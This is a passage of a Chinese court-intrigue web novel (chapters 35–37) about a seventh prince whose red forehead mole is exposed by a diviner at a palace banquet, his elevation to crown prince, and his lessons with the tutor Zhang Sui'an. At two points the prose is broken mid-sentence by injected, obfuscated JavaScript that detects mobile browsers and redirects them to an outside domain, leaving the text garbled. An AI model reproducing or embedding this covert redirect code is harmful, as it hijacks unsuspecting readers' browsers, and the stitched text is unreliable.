“来,看看,都认得全吗?”景和帝抱着孙子笑道,眼神率先落在最近的三皇子身上,三皇子自赵贵嫔走后,几乎就没出过殿门,每日闷在殿中,人都浮肿了一圈,景和帝眼神点了点他,对小皇孙说道,“那是你三皇叔。” 小皇孙含着指头,没说话,只是眨了眨眼。 三皇子挤出一个苦笑,冲着小皇孙点了点头。 景和帝眼神掠过老三,看向老四:“那是四皇叔。” 四皇子穿得素净,面上也十分谦和,主打一个不让景和帝的话头落在地上,笑着应道:“皇侄好生伶俐,二哥真是好福气。” 景和帝的目光旋即落在小七身上,他一直低着头,额上还是习惯性地戴着那方玄色抹额。 “那边儿,是你的小七皇叔。”景和帝低声道。 小皇孙憨憨地咬着指头,又冒了一句:“爹爹。” 二皇子也是一怔,朝二皇妃递了个眼神,二皇妃连忙接了句话:“这孩子,就跟二殿下亲近,只会叫个爹爹,连娘亲也不会叫。” 景和帝抱孙子也抱累了,转交到一旁的宫人手上,望向二皇子随口道了一句:“朕听说,你从南境带了个军师回来。” “回父皇,算不上是什么军师,不过一测星卜卦的术士而已,儿臣在南境行军,确也多亏了此人神机妙算。” “有多妙算,能与灵台卜官一比吗?” 二皇子憨笑道:“江湖术士而已,怎敢与宫中卜官相比?” “既然是助你行军有功之人,也该赏。”景和帝轻抬了抬手,常玉旋即将那人传入了殿中。 不多时,一个南疆游民打扮的男子缓步入了殿阁内。 此人身上有几分酒气,想来是在外殿的席上多饮了几杯,他双耳戴着铜坠,躬身时行的也是南疆礼。 常玉在景和帝的示意下,端着一方竹盘趋步上前:“这里有三只金盏,你可能算出哪只盏中有果?” 巫师面无表情,抬起刺满图腾的手指,随手指了指最右边的一只。 常玉身边的小内侍轻轻揭开倒叩的杯盏,底下还真有一粒紫葡萄。 景和帝见状,笑了笑道:“此人有趣。”说罢,抬手点了点右侧的皇子座席,“那朕再考考你,朕这几个皇子中,是谁在去年的春猎上夺了头筹?” 那巫师眼神淡淡地扫过几个皇子,在三皇子身上顿了顿,接着又往下看,落在七皇子面上,停了半晌,最终又绕回来,抬手指了指三皇子。 常玉旋即朗声朝众人证道:“去年春猎,确是三皇子殿下得了头筹。” 景和帝似有不解:“你手指着三皇子,眼睛为何要一直冲着七皇子看?” 巫师默了良久,透过小七的那方抹额,忽而开口道:“我在看他额上的血痣。” 35. 谶语 此话一出,堂下众人顿时都屏气凝神,不敢作声。 七皇子自小头戴抹额,将眉间的红痣遮得严严实实,除了近身伺候的宫人,外臣与宗室都鲜少有人见过。 那巫师眼神依旧直勾勾地盯着七皇子,挪魂似地沉声道:“仙人的额上,也有一颗这样的痣。” 坐在外臣席的张岁安也早早停下了手中的酒盏,望着那堂上的巫人。 三皇子瞧准了话头,借着大殿上安静的间隙,忽而故意开口道:“袭国民间都传这血痣克亲,军师可曾听过?” 七皇子因克亲而不冠名不赐姓的说法,向来只是私下的传言,事关皇室体面,明面上都是按着景和帝当初的那句“弱子待养,无名避冲”的说法圆场,可这三皇子倒好,非要在这大宴之上把这层窗户纸捅破,弄得左右都有些下不来台。 只见那巫师仿若未闻,几步走到七皇子身前,黑洞洞的眼睛直直地盯着他,仿佛要看穿眼前人的骨血。 七皇子倒是也不怕他这幅鬼眼,抬起眼皮漠然地看着对方。 那巫师忽然往前一探身,鬼使神差地抬手,一把将七皇子的抹额扯了下来—— 玄色抹额自稚子的面上滑落,眉宇间一点鲜红的血痣,显得格外扎眼。 巫师漆黑的眼盯在那血痣上,喉咙里长呼出一句:“圣天之尊,没有凡俗至亲,上无父母,下断子嗣,孤命无亲……” “放肆!”二皇子拍案而起训了一声,转头向景和帝躬身道,“父皇,此人就是一江湖杂道,不懂规矩,胡说些醉言,不可当真。” 景和帝神色黯然,沉默不答,众人也不敢多说,殿内更静了。 七皇子盯着那巫师,默了良久,他半眯了眯眼,哑着声音开了口:“南疆人,这里是袭国朝堂。” 他声音不大,却在安静的殿阁中显得尤为清楚,短短几个字,将这鬼神乱语,归作了此人心思不纯,倒让众人回过了神来。 不管这血痣有什么说法,袭国的皇子再如何,也容不得他国术士在这里冒犯。 宗亲朝臣们听了,也免不得碎语起来,议论起此人莫不是来搅局的,毕竟哪有在皇家宴席上咒皇子的道理。 二皇子作为中间人,反倒有些下不来台,赶紧急着将自己撇干净:“父皇,此人乃我行军时所俘,看他懂些测星卜相,就留了他一条命,后又见他不曾有什么歹心,才一直带在身边,父皇若觉得他胡言乱语,拖下去斩了便是,儿臣绝不会有半句怨言。” 景和帝默了半晌,旋即挥了挥手,让常玉将那巫师送了下去:“几句杂道醉言,不足为谈。” 小七静静地坐在案前垂着头,额前的碎发自然而然地垂在耳侧,遮住了他的眉眼,他看着那方落在身前的抹额,皱了皱眉,大庭广众下,也不知是系还是不系。 他淡淡地抬起眼皮,扫过外臣席座,下意识地寻找那个人在哪儿—— 张岁安正随着众人的目光一齐望着他,两人四目相对的一瞬,张岁安对着他几不可察地摇了摇头。 看见这细微的暗示,小七紧绷的脊背才软了一些,安静地抬了抬头,任人打量,再没去碰那方抹额。 常玉见状,朝七皇子身边的常乐递了个眼神,常乐此前因为佑炆殿起火之事挨了一顿廷杖,得亏了干爹打点才能少受些罪,眼下常玉递了意思过来,他也不好装作没看见,只能略有为难地压低了声音,朝七皇子怯怯说道:“殿下,奴帮你把抹额系上吧。” 说罢,便拾起落在案上的抹额,正准备给七皇子戴回去时,一直静坐在外臣席上的祁圣人忽然清了两声嗓子。 只听见老人缓缓开口道:“陛下,老身此前游历四方,也曾在乡野间听过血痣克亲之言,古人有云,传言始于牖下,流于巷陌,多失其真,譬如典籍里讲‘男为尊,女为卑’,本是指天尊地卑,上启下承,各司其序,原无高低之分,而后生妄断文意,将‘尊’理解为‘贵’,而‘卑’曲解为‘贱’,才有了如今‘男尊女卑’这等偏颇之言。”[1] 他顿了顿,目光悠悠然地扫过堂上众人:“世间初始诸事本只是存在,并无好坏之意,‘血痣’亦是如此。上古时赤痣本是血气充盈之兆,若生于面上,则说明此子命强,而后又有人牵强附会,将其曲解为命格过刚,会夺亲族之气运,再后来,便有了这克亲的凶意。” 祁圣人平日私下随和,一副小老头的性子,从不在张岁安面前摆那副好为人师的架子,但真到了这正堂之上,仙风道骨地往那儿一站,一句句话掷地有声,说得众人是纷纷垂首沉思。 “‘道听而途说,德之弃也’,百姓的街头闲谈,本是无知之言,若是连皇室都将这等断章取义的讹传信以为真,岂不是显得袭国上下,皆为无知愚昧之徒?老身奉命监修《同文典》,意在传扬正道,如今见了这颠倒本意的流言,若不勘正,实在愧对陛下所托。” 话音落后,朝臣宗室们互相递着眼色,却也只是暗自细语,不敢站出身来,直到一直默而不言的杨鬓杨老太公忽然抬了抬手,身旁的侍餐见了,连忙上前将老太公扶了起来。 杨老太公微微躬身,朝座上行了一礼,苍老的嗓音缓缓响起:“陛下,老臣以为,生有异相者,多有离奇之说,却未必是祸。” 这杨老太公前几年中了风,说话不大利索,说一句,要停上两口气,却还是字字珠玑:“五帝时期,帝舜重瞳,本是世间少有的异状,却以贤德闻名天下,建立四海之功,可见异相本无凶吉,全在如何立身行事,若心向大义,亦能化异为奇,若怀私念,纵无半分异相,也会酿成祸患。” 外臣座席下,张岁安垂首坐在张淮之的身后,始终低头缄默,好似堂前的一切都与他无关。 这个巫师贸然揭下了七皇子 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常玉见气氛不对,赶紧去将后置的歌舞提了上来,一个个歌女踩着细碎的舞步进了殿中,漫开一阵丝竹声强行暖场。 歌舞还未完时,常玉在幕后听了两句传报,转而快步走到景和帝身后,躬身耳语了几句。 景和帝顿时眉头一蹙,原本就不平和的脸色更是沉了下去,显然这饭也是吃不下了,旋即早早散了席,留下了二皇子和秦太尉回宫议事。 回张府的马车上,张淮之始终靠在座上闭目凝神。 这父子俩政见不合,在家时说不上几句话,只是到了这宫宴上,为着体面,也要勉强装出几分父慈子孝的和睦模样,一离了众人视线,冷战的寒意又冻了回来。 马车一路经过长街,张淮之随着颠簸悠悠然地晃了晃,忽而开口说了句:“你是不是觉得自己胜了?” 张岁安闻言收回望着街景的目光,看着父亲,没有说话。 张淮之又开口道了一声:“为父有一问。” “父亲请讲。” “佑炆殿起火一事,”张淮之半睁开眼,“也是你给七皇子出的主意?” 这场火起得蹊跷,虽说看似高高举起,轻轻放下,可没有这场火,就没有之后接二连三的变局,张淮之自然会怀疑其中的门道。 “不是。”张岁安淡淡应了一句,并未多说什么。 车厢里又静了下来。 张淮之盯着儿子沉静的神色,默了片刻,忽然轻笑一声,意有所指地说道:“这七皇子,还真是,子肖其父。” 张岁安垂首缄默,没有接话,父亲这话好似在说七皇子承了景和帝的城府,可放在当下,自己和父亲又何尝不是这样,各自守着自己的成见,都不肯让步一分。 “伴君如伴虎。”张淮之平静如常,无奈沉叹一声,“赵氏就是下场。” 36. 新臣 景和帝原想着将二皇子召回朝中,另起一番炉灶,谁知南境的不太平竟来得这么快。 南疆坤仪王的第五子刚刚封了侯,眼见着东袭这边又是粮荒又是动乱,早就磨刀霍霍地准备大干一场。 他暗地收拢了几处流民,连夜偷袭了剑陵郡下的囤粮要地,还借着流民的掩护,不损一兵一将地原路折了回去,若不是刺史张牧提前得知消息,恐怕粮仓早就被对方一把火烧了个干净。 南境烽烟欲起,景和帝一边儿要严守谨防,一边儿又舍不得让驻守边境的臣子独揽军功,思来想去,二皇子还是得放回去。 议事一直到了半夜,等到烛火换了盏,二皇子和太尉才出了集贤殿。 景和帝揉着眉头,本就头疼,又听见常玉来报:“陛下,御史大夫杨鬓还候在殿外,可要请他进来?” 景和帝一听,头更重了,这大半夜的,杨老太公一把年纪,守在这寒冬腊月的殿外,简直是不想让他消停。 “快传老太公进来。”景和帝也不想传,却也实在怕这老头嘎嘣一下死在他殿前。 杨鬓被两个宫人扶着,杵着拐杖颤颤巍巍地走进来,见了圣颜就要跪下行礼。 “快免礼。”景和帝朝常玉挥了挥手,“给老太公看座。” 杨鬓朝景和帝躬身谢恩,旋即在御赐的锦凳上坐了下来。 开国元勋中,杨老太公是唯一还活着的老臣了,几乎是活化石般的存在,即便如今久病养在家中,也依然是三公重臣。 “陛下,老臣今日冒夜守在殿外,是想来问一问陛下,图个心安。”杨鬓说完一句话,滞滞地喘了两口气,“陛下可还记得,当初先帝欲立允王为储时,臣是如何力排众议,向先帝陈明利害的吗?” “朕记得。”景和帝目光沉了沉。 允王与景和帝一母同胞,先太后薨逝后,景和帝由梁太妃抚养,而允王则由先帝继后文氏养大,若真论起来,允王比当时的景和帝更要名正言顺,是杨老太公,以生母为先,长子为尊,为景和帝争得了立储的先机。 杨老太公顺了两口气,继而又一字一顿道:“袭国如今外有南疆扰边,内有流民未安,再经不起内政之乱了,正则生稳,乱则生弱,陛下当让将者为将,臣者为臣,君者为君呐。” 景和帝语气厉了几分:“士族垄断朝堂,朕处处皆要受制,连调派地方守军、修个文集典册都要看士族老臣的脸色,他们满口礼教宗法,朕坐在这个位置上,竟有大半个朝堂使唤不动,太公,何曾想过朕的难处啊?” “陛下,士族垄断用人,乃是官制弊败所积,非一日之寒,陛下以外戚制衡,是以毒攻毒,治标不治根,袭国要的是改政,而非内斗,新政若想推行,则离不得礼法二字,嫡长乃国本之法,更不可乱也。” “老太公此言,朕并非不知。”景和帝也是一个头三个大,要说改政,他不是没试图改过,只是没有能臣愿意牵头的新政,到最后都是一纸空谈,“改选官制,革除旧弊,这是要动士族的根基,放眼大半个朝堂,他们各自联姻,互为党羽,朕孤家寡人,又有谁愿意替朕去把这新政推到底?” “有一人。”杨鬓浑浊的眼睛亮了亮,“张氏长子,张岁安。” 景和帝闻言,眼中闪过一丝游弋,没有说话。 杨鬓握着拐杖的手抬了抬,在地上敲出两声闷响:“张淮之是老臣的女婿,臣也知道,他是个求稳避祸之人,定然不会与自家为敌,但张岁安却不一样,这孩子比他父亲,要狠得下心……” 杨鬓说至此处,心下也有些不忍,他向景和帝举荐张岁安,可以说是将自己的外孙亲手推至了风口浪尖,要他去做士族中的逆行人,去亲手革除自己族亲的利益,论私情,他也舍不得,可论公义,他没有别的选择。 他狠了狠心,语气更添了几分笃定:“陛下手里头缺人,缺的是有能之人,更是敢为之人,陛下别忘了,圣祖皇帝托孤时,张老太公也才年方二十,照样凭着一腔孤勇,稳住了一方乱局。” 说罢,殿内一阵沉默,景和帝缄口不语,似是也在衡量其中的利弊。 他不是不知道,张岁安虽年轻,却是个有城府的人,这种人用好了,会是一柄利刃,可拿捏不当,说不定就是一把回马枪。 “臣老了,再看不得内政动荡了,老臣愿为陛下,为大袭,肝脑涂地,耗尽最后一口气,替陛下肃清朝堂……” 说罢,杨鬓从座上缓缓站起,拐杖一松,一把老骨头扑倒在地,磕在玉阶上沉闷一响,吓得景和帝也跟着猛地站起身来—— “老臣恳请陛下,立嫡皇子为储,护宗法之正,稳臣民之安!” - 这一年的除夕,绥京城中下了一场雪雨,冰粒夹着雨丝,细润地浸在朱门绿瓦上,隔夜便积了一层薄薄的白。 街上的爆竹声比往年稀了一些,宫里的除夕宴也是草草了事。 赵氏一族倒了,陛下对三皇子的偏宠似乎也跟着淡了几分,二皇子大张旗鼓地归了朝,结果一纸军报后,又被匆匆忙忙地放回了边境。 景和帝借着除夕佳节,给七皇子正式赐了名,取了个中规中矩的“辕”字。 七皇子有了名姓宗碟,开春便会替景和帝以嫡子之名,代父祭祖。 祭祖礼制繁杂,迎神奠酒一步都不能错,小七被礼官摁在宫中,从早到晚,一遍遍地学,这些繁琐仪轨,他心里不喜欢,面上却也只能装得顺从恭敬。 晨昏恭定时,景和帝也会照例问上一两句话,以表关切。 “朕听闻你学礼学得快,是有悟性的。” 小七低着头没有答话,印象中与景和帝独处的时候,寥寥无几,如今有了身份,候在他身旁,倒显得陌生局促。 景和帝训道:“这沉默寡言的性子,要改一改。” 小七抬了抬头:“儿臣明白。” “你幼时离宫,在礼数和学问上,都差别人好大一截,唯有勤学恶补,方能弥补不足,朕给你安排了几位老师,你好好跟着学,莫要辜负朕的期望。” 小七在堂下听得缄默不言,景和帝神色厉了几分:“你这般不答不应,可是对朕的安排不满?” “儿臣,”小七顿了顿,装了个乖,“儿臣鲜少听陛下教导,受宠若惊。” 几个字,把话头拐到了景和帝的愧意上去。 景和帝低咳了两声:“朕公务繁忙,在皇子教导上,难以事必躬亲。” 他看向堂下的小小幼子,这孩子刚刚回宫时,就像只受惊的兔子,沉默,黯然,这个年纪的小孩个头窜得快,如今一看,眉骨生出了几分浅浅的轮廓,倒显得有些出挑了。 只是那颗红痣,就这样点在额间,鲜明得像横在父子间的心结,抹也抹不掉。 景和帝收回眼神,不再看那孩子额前的痣:“还有一些话,朕现在与你说,或许有些为时尚早,但你是朕的嫡子,将来若要继承大业,必然要过这一关。”他顿了顿,两根手指随意地敲了敲案上的简牍,“张氏一族,可用,可近,但不可信。” 小七噎着一口气,静静地听着。 “尤其是张岁安,他年轻,对你也有几分照拂的情谊在,这是好事,让臣子觉得君心可托,也是一种驭下之术,但此人心思巧绝,这种人,是忠是奸,只在他一念之间,他今日能帮你,明日就能从你手中夺食。” 景和帝说至此处,望着堂下的幼子,闷叹了两声气:“罢了,你当下也未必听得明白,老三老四都在朝中,你若有拿捏不准的,朕自会嘱咐他们去办。” 景和帝虽被朝臣们半推半就地认了这个嫡子,但心里却满是隐忧,这孩子不是在他身边长大的,性情又孤僻寡言,真能用得动那些心思十八弯的臣子吗? 小七沉默着,也听出了景和帝不大信任自己,他心里不自觉地权衡起来,也开始学着要如何顺着景和帝的意思答话。 “儿臣记住了。” “如今后宫无人管事,梁贵嫔入宫多年,行事稳妥,朕有意让她掌管后宫事宜,只是她身子不大好,需要个帮手,梁家的长孙女恭谨聪慧,朕已传旨让她入宫,帮着梁贵嫔料理些琐事。”景和帝眼见着七皇子已经被推到了这个位置,那就只能在他的婚事上作法了,“这梁氏的孙女比你大不了几岁,往后在宫里,你若有什么缺的,也可让她帮衬一二。” 小七顿了顿,恭声应着:“是。” 说罢,景和帝喝了口茶水,看着这孩子还直直地站在那里,似是想缓和缓和这僵硬的父子情分,他几不可察地轻叹了一声,转头随口吩咐道:“常玉,之前二皇子从南境带回了几方怀州的青墨,你去取来赏给七皇子吧。” 走出殿门时,天色渐晚。 冬末太阳总是落得快,小雨夹着雪沫密密地飘着,白日一点点地被淹没。 落幕沉沉,冰雨飘在脸上,缓和了几分方才在殿中的压抑。 “殿下,要回去吗?”常乐撑起伞问道。 小七默了半晌:“我想走走。” 他回宫这么久,却几乎都困在那方寸之间,从没想着要好好看看这宫城之中的别处。 他一路漫无目的地走,不自觉地竟走到了兰台外。 已近酉时,雨雪停了,天边露出一层淡淡的月色。 布道上湿滑的青砖泛着冷光,宫灯时走时停,细碎的光斑踩在脚下。 下值的官吏陆陆续续地走出来,见到皇子站在门口,都纷纷驻足行上一礼。 他百无聊赖似的,在门前站了半天,直到里头人都走完了,也不见那人出来。 “哎呀,七殿下!”御史中丞涂均出门时,一眼认出了他来,连连上前躬身道,“这雨雪天的,殿下怎么在外面站着?是要查书文,还是要找人?” 小七背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445045|185064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着手顿了顿,沉声道:“校书中郎,在何处?” 涂均一愣:“殿下是指,哪个校书中郎啊?” 打着伞的常乐在身后轻轻补上一句:“张,张校书。” 涂均恍然道:“子康啊,他今日随祁夫子走访去了,不在兰台。”接着逢迎一笑,“可要臣替殿下传话?” 小七眼神一沉,顿时蔫了半截,冲着涂均摇了摇头。 他转身往回走,夜风一吹,积在树上的薄冰纷纷往头顶落,落到后脖颈上,凉意顺着衣领往里钻,激得人打了个冷颤。 临到拐角时,身后忽而传来熟悉的唤声—— “殿下!” 小七一怔,顿住脚步,连忙转头。 张岁安站在不远处的夜色下,身上披了件素色的外袍,没有打伞,方才的雨水打湿了他领口的毛领边,一缕一缕地凝成丝,软趴趴地贴在他肩上,衬得他整个人像只淋了雨的白狐狸。 “臣回兰台取文书,听闻殿下来过,殿下可是有事?”他急赶着跑了两步,声音有些微喘。 “没事。”小七轻轻回了一句。 张岁安上前来躬身行了一礼,抬眼时,刚好看见小七额上露着的那点红痣。 从前这小孩总是戴着抹额,显得神色沉闷,如今摘了遮挡,红痣落在眉间,衬得原本清寂的眉眼都亮了几分,透出些难得的可爱伶俐,看得张岁安莫名其妙地温温一笑。 小七眉头微蹙,恰好将那颗红痣挤在眉心上:“你笑什么?” 张岁安逗小孩似的:“殿下好像那年画上的小童子。” 这下,那蹙着的眉头更是一沉,小七瞪着眼珠,没好气地看着他问:“我很胖吗?” 印象中,年画上的童子都是圆咕隆咚的,哪有半点像自己了。 张岁安被他这句反问噎住,抬手正巧望见常乐也在憋笑,低头再看,小七一副气鼓鼓的样子,像只炸毛的小狗,若不是碍于身份,真想上手拍拍他的脑瓜。 “殿下是太瘦了,”张岁安收了收笑意,“多吃些更好看。” 他随口一句话,小七只听见“好看”两个字,不想显得自己在意,装出一副小大人的模样背了背手:“你今日心情不错。” “殿下不用再受困于污名,臣自然开心。”张岁安气定神闲,眉眼一弯,温声细语。 小七还想再说些什么,却听见宫里的更声又响了。 “天色晚了,臣得赶着出宫了。”张岁安退了半步,行了一礼。 小七瞅着他淋湿的毛领,抿了抿嘴,开口道:“我送你。” 路上,小七踢着脚边的碎冰,状似无意地问了句:“梁氏的孙女,是什么人?” 张岁安:“殿下为何忽然问起这个?” “陛下跟我说,要让她入宫,帮梁贵嫔料理后宫。” 张岁安听完,沉声思忖道:“陛下的心思是急了些。这大司农卿梁瑞掌管一国钱粮,又是陛下养母的胞弟,想来陛下是想借这层关系,替殿下拉拢外戚势力,若梁氏孙女能为殿下妃嫔,或许也是一层助力。” 张岁安亦步亦趋地说了一堆,净顾着分析局势了,丝毫没去注意七皇子脸上多了一层异色。 小七走在他身边,低头不语,心里说不上来是什么滋味,只觉得堵堵的,闷得不想说话。 张岁安还在自顾自地说着:“不过殿下还小,就算陛下有意为殿下选妃,一时半会儿,也不会落定的。” 一句“殿下还小”,噎得小七心头又堵了三分。 方才那点轻松的气氛,全被这几句话给搅没了。 张岁安:“梁家的孙女臣未曾见过,不过听说她聪慧能干,娴静憨实,还颇通厨道,梁家虽然……” 他顿了顿,想着当下提梁氏贪腐之事并不应景,又转而换了个更稳妥的说法,“梁家毕竟是皇亲国戚,陛下有心安排,殿下倒不如先顺势而为,若梁家女公子真能与殿下合得来,青梅竹马,也不失为一段好姻缘。” 张岁安一路说着,也临到了宫门前,一转头,只见小七紧抿着嘴,眼神比雨夹雪的夜色还沉。 看他不开心,还以为是他不满婚事就这样被早早安排,只得又苦口婆心地劝道:“婚姻之事,父母之命,媒妁之言,更何况殿下身在天家,当下圣意难测,还望殿下莫要一时意气,免得陛下生气,得不偿失。” 小七也不知该说什么,只得随口应了一声:“嗯。” “轺车就在宫外,谢殿下相送一程。”张岁安收了伞,恭敬地还到常乐手中,冲着小七行礼告辞,“殿下,夜路湿滑,还请慢行。” 小七愣愣地僵在原地,吸了一口宫门前簌簌的冷风,心头像塞了团棉絮,手指已快要把袖口攥破了。 自己到底在不舒服些什么,他也说不明白。 只得望着那人退步转身,渐渐消失在宫门的夜色之外。 37. 太子 祭祖大典过后,绥京城的春风滤走了最后一丝寒意。 这年开春难得晴日连连,民间都说“春晴收,春雨丢”,和煦的春日是春苗抽芽的预兆,刚经过一年粮荒的百姓都盼着新年的好收成。 春祭过后没几日,景和帝便下了诏书,立七皇子付辕为储,赐金册玉印,入主东宫。 后南境也传来捷报,二皇子率领大军平定了当地的动乱,南疆王的第五子擅动刀戈,被他母上降了罪,眼见这南疆扰了边境,又退了回去,不知到底揣了什么心思,只是对于平常百姓而言,不打仗,能吃饱,总归是好的。 当下储君新立,南境平定,大有祥和之气,人们都说,太子替陛下祭祖那日,天有七彩祥云,好不惟妙,跟天神下凡似的,还有人传得更玄,说看见那祥云中,隐约有龙腾的影子,这些话传得有鼻子有眼,说得好像亲眼所见。 实际上,是那日恰巧下了一场雨,雨后初晴,阳光透过雨雾投了下来,折射出一道七彩虹光。 太祝说,虹霓绕云,是先祖赐下的吉兆。 自古术言,由权而生,吉言凶语,不过是造势的手段。 在讲究天人相应的年岁,天象就是天意,天命所归也好,祥瑞现世也罢,寻常百姓,总是需要一个安心的名头。 那日,春生万物,苍穹悬鸣。 付辕站在玉阶之上,望着太庙前香火袅袅腾起,望着台下黑压压的朝臣中那个偏隅的身影—— 望着昔日的污名,成了他今日的天命。 - 承乾殿的床榻很大,比从前殿里的都要大上几寸。 付辕睡在上面,朝里翻了个身,胳膊肘还陷在软乎乎的被褥里,背后空空的,少了些依托,还要再往边上挪一挪,才能安安稳稳地靠到床木。 他总是感觉靠着床木,缩在里边儿睡得更踏实。 这座东宫核心的首殿,面阔五间,连梁木都要比其他殿宇高上几分,寝殿宽阔敞亮,宫人也是从前的数倍。 他对周围的声音向来敏感,每次一闭眼,就能听见殿外往来的轻轻脚步声,搅得他心烦意乱。 这会儿,院中细细碎碎的人声又钻了进来。 “我等奉命来为太子殿下量衣,殿下醒了吗?” “稍等,我去通传。” 不一会儿,常乐的声音便隔着殿门传来—— “殿下,该起来更衣了。” 他把头往枕垫里一埋,真想就地装死。 昨夜功课补到了半夜,方才眯了一会儿,天就亮了,本想着再补会儿觉,谁知尚衣署的人竟来得这么早。 他们说,太子个头长得快,每隔几月,就要量一次体,好预定做明年的新衣袍。 对此他甚是不解,自己原先做野皇子的时候,两三件衣服换着穿,不也穿得挺好的吗? 做太子,比他想象得要烦。 如今他有了名字,有了身份,却总觉得那些都不是自己,只像是一个个硬贴在他身上的标注,好似石头上贴了金箔,金灿灿的,晃得人眼晕,看着贵重,反倒将他与别人隔得越来越远。 东宫如今大大小小的太子傅就有五六个,礼傅,律傅,军傅,政傅,武傅…… 景和帝总说他开蒙晚,是生怕他学不够,急功近利地给他来了一场大补—— 规定每月一小考,由景和帝亲自监察成果,每季一大考,让太学和兰台一起审卷挑错,一会儿说他史论不切,一会儿说他策问空空,他那一手狂草乱舞的字,更是被当成了众矢之的的靶子…… 忽然明白为什么皇帝都命短了。 “殿下?”常乐还在叫他。 小付辕在床上滚了一圈,从床头滚到床尾,抱着被褥裹成一个卷,披散着头发坐起来,等头脑清醒一些,踩着冰凉的地,才勉强站了起来。 不行,还是困,旋即一头又栽了回去。 “殿下,再不起,要误课时了。”常乐叩了叩门,“今日可是邱夫子的课。” 一听见“课”字,更是头昏脑胀。 想到今日还是他最讨厌的礼课,那个太常寺来的官师邱荣是个呆板严肃的老头,脸上永远不会笑,还总爱挑他的错处,说他这儿也不端正,那儿也不敦严…… 想到此处,更是想直接翻墙逃出宫去。 心生退意,便没法一鼓作气,一来二去地折腾了一早上,最后还是误了时。 承乾殿北侧的书堂外桃花开得正好,风一吹,粉白的花瓣簌簌地落了一地,只可惜如此雅致的美景,竟然要用来听老头讲经。 日头和煦,树下一方书案,两张软榻,夫子已经坐在那里等他了。 待他走近,树影婆娑下,只见那人转身侧目,朝他行礼。 他一愣,呆呆地睁着眼,望着眼前的张岁安,又惊又喜:“今日不是邱夫子的课吗?” 张岁安穿着一身墨色的长袍,显得格外老成,桃花树影落在他身上,细碎的光照得他微微眯起眼,朱唇皓齿,好似在笑。 自从升任东宫少傅后,除了日常授课外,上要替太子统协其他课业的官师,下要管着东宫下属的舍人,每日功课查检,课业排布,宫人规制,事无巨细,不曾有过片刻清闲,一年下来,人都累瘦了。 只是这一瘦,倒透出几分竹骨兰质的清俊来,温润之下,还多了些许沉稳持重。 “邱夫子昨夜偶感风寒,让臣代为告假,未能提前告知,还请殿下恕罪。”张岁安行完礼,缓缓抬起眼,皮笑肉不笑地看着他,“殿下今日迟了两刻钟。” 照景和帝的意思,太子开蒙晚,要严训,特意嘱咐各位夫子不必守旧规,该罚就罚,该打就打。 张岁安清了两声喉咙,微眯起眼角,笑问道:“殿下是想抄经,还是受戒尺?” “……”付辕眼见是逃不过了,又实在不想再抄书,干脆往那软榻上一坐,抬起胳膊,把掌心直直地摆到案上,任由他打。 张岁安见他眼底挂着两团乌黑,就猜到这孩子昨夜定是又通宵赶功课了,拿起案上的戒尺,捏着尺尾,往他的掌心上轻轻拍了拍。 付辕觉着不疼,以为张岁安不舍得罚自己,正暗自得意,就听见“簌”的一声—— 下一秒,戒尺啪地就落在了掌上,力道比刚才重十倍不止。 “嘶!”他疼得倒吸了一口凉气,这一下着实狠,打得手心火辣辣的疼。 “第一下是臣打的,”张岁安鬼精似的温温一笑,“这第二下,是臣替邱夫子打的,邱夫子打人,就是这般力道。” 他咬牙切齿地盯着张岁安,眼里扑扑地冒着火,刚想开口反驳,就又被一戒尺抽得火气灭了半截。 按以前的规矩,迟一刻钟,要挨五戒尺,张岁安没用多少力气,但整整十戒尺打完,手心还是麻酥酥的。 付辕闷头捂着手,不情愿地低声嘟囔着:“你还真打啊……” “嗯?”张岁安微微侧目,明知故问道,“殿下说什么?” 他强噎下一口气,低眉顺目:“谢少傅教导。” 也不怪张岁安不近人情,东宫的课从来都不是私谈,但凡太子上课,周围必有监侍,监侍的记簿会一字不落地呈到御前,以供陛下查检,如此一来,几乎没人敢徇私。 从前景和帝对七皇子不上心,平日也是刻意疏远,如今他已是太子,景和帝对这个生分的儿子,也从原先的疏远,骤然转成了极度的控制,恨不能一口将他喂成个胖子。 常乐将太子的功课一一铺陈在案上,张岁安拂去案上的桃花瓣,拾起一卷,查检起来。 他安静地看了一会儿,随口说道:“‘礼者,天地之序’,这里的‘序’,殿下只解了尊卑之次,却漏了四时之序,应是先有天地四季,才有人间君臣,殿下这里漏了一笔,小心邱夫子见了,又要被罚。”[1] 付辕抿了抿嘴,乖乖提起笔准备改注,才发现案上的墨已经替他磨好了。 他闷头写字,随口低声说了句:“你既什么都懂,陛下为什么不干脆让你一人教我?” “臣不过懂些皮毛,怎可与官师相提并论。”张岁安低着头,拿放简牍时,眉目含笑,“更何况,兼听则明,太子殿下身边,也不能只有臣一个臣子。” 虽说学生不才,师亦有责,但如今太子初立,正是要向朝臣们证明自己堪当大任的时候,他涉世不深,难免有不周之处,若没有张岁安这个少傅在身后替他查漏补缺,恐怕他早被那些规谏的唾沫淹死了。 张岁安自然而然地拾起他另外的课业,一卷一卷地埋头看了半晌。 “殿下似乎对律令中的告律有所不解?” “不是不解。”付辕埋头闷声道。 张岁安了然道:“那便是不满了。”他说罢,卷起手头的简牍,“子告父母,妇告威公,奴婢告主,勿听而弃告者市,此虽为律,却更在于德,旨在维系尊卑秩序,以德治之。”[2] 倔牛脾气的小太子殿下顿了顿,抬起眼道:“那如果高位之人德不配位,卑下者岂不是只能逆来顺受。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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付辕眼睛一垂,糊弄过去:“是有些累……” 他最近变声,说话时嗓子有些发哑,像是被烟熏过一般,听上去有些心虚。 张岁安:“陛下对殿下寄予厚望,才会一时急了些。” 清风忽起,几片花瓣悠悠落在案上,其中一片直接落进了砚台中。 